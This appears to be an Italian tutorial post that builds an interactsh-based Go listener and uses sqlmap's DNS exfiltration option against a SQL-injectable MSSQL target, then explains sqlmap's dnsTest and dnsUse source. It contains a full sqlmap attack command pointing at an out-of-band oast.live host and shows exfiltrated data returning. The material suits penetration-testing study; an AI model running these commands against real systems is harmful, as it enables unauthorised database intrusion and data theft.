SQLMap.sh – DNS Exfiltration made easy

Creiamo il file principale del progetto basandoci sullo snippet suggerito sul repository di interactsh:

main.go
package main

import (
	"fmt"
	"os"
	"os/signal"
	"syscall"
	"time"

	"github.com/projectdiscovery/interactsh/pkg/client"
	"github.com/projectdiscovery/interactsh/pkg/server"
)

func main() {

	// Create InteractSH client
	client, err := client.New(client.DefaultOptions)
	if err != nil {
		panic(err)
	}
	defer client.Close()

    // Get the URL where to do DNS requests
	URL := client.URL()
    fmt.Printf("Got URL: %v\n", URL)
    
	// Poll the client every second and print the received DNS interactions
	client.StartPolling(time.Duration(1*time.Second), func(interaction *server.Interaction) {
		if interaction.Protocol == "dns" {
			fmt.Printf("Got DNS interaction: %s\n", interaction.FullId)
		}
	})
	defer client.StopPolling()

	// Wait for the user to quit the program by using ctrl+c
    done := make(chan os.Signal, 1)
    signal.Notify(done, syscall.SIGINT, syscall.SIGTERM)
    fmt.Println("Press ctrl+c to exit...")
    <-done
}

Aggiungiamo gli eventuali moduli mancanti richiesti dai package importati, avviamo il programma e apriamo con un browser l'URL che ci viene stampato a schermo:

$ go mod tidy
$ go run main.go
Got URL: ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live
Press ctrl+c to exit...

Got DNS interaction: ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi

Ottimo, abbiamo un client funzionante! Ora proviamo a lanciare SQLMap specificando l'URL del client come dominio per l'exfiltration:

# sqlmap shell
$ sudo sqlmap -r "$(pwd)/sqli.txt" --dbms=mssql --drop-set-cookie --answers=marker=Y,redirect=N,continue=Y --code=302 --level=5 --risk=3 --technique=B --dns-domain=ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live --banner
    
# sqlmapsh shell
Got DNS interaction: Moh.0x3700330030003800.wVo.ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live

Otteniamo subito una richiesta al dominio Moh.0x3700330030003800.wVo.ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live, quindi sulla base di quanto detto prima i dati esfiltrati sono: Moh.0x3700330030003800.wVo.

Per capire cosa significa questo possiamo dare un'occhiata ai sorgenti di SQLMap:

lib/techniques/dns/test.py
#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.common import Backend
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.exception import SqlmapNotVulnerableException
from lib.techniques.dns.use import dnsUse

def dnsTest(payload):
    logger.info("testing for data retrieval through DNS channel")

    randInt = randomInt()
    kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt)

    if not kb.dnsTest:
        errMsg = "data retrieval through DNS channel failed"
        if not conf.forceDns:
            conf.dnsDomain = None
            errMsg += ". Turning off DNS exfiltration support"
            logger.error(errMsg)
        else:
            raise SqlmapNotVulnerableException(errMsg)
    else:
        infoMsg = "data retrieval through DNS channel was successful"
        logger.info(infoMsg)

Qui possiamo vedere come SQLMap, prima di iniziare ad esfiltrare dati, testi la connessione con il DNS generando un numero intero casuale e lo passi alla funzione dnsUse.

lib/techniques/dns/use.py
def dnsUse(payload, expression):
    """
    Retrieve the output of a SQL query taking advantage of the DNS
    resolution mechanism by making request back to attacker's machine.
    """

    # ...

    if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
        # ...

            while True:
                # ...
                prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
                # ...
                expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
                expressionUnescaped = unescaper.escape(expressionRequest)

                if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
                    query = agent.prefixQuery("; %s" % expressionUnescaped)
                    query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
                    forgedPayload = agent.payload(newValue=query)
                else:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))

                Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)

                _ = conf.dnsServer.pop(prefix, suffix)


                if _:
                    _ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
                    _ = decodeDbmsHexValue(_)
                    # ...

La funzione non fa altro che generare due stringhe casuali di 3 caratteri (prefix e suffix), poi costruisce una query SQL che faccia eseguire una query DNS alla vittima all'indirizzo prefix.random-number.suffix.dns-domain. Una volta fatto questo aspetta una query DNS sul server locale ed estrae la parte prefix.stuff.suffix per verificare che il dato sia arrivato correttamente.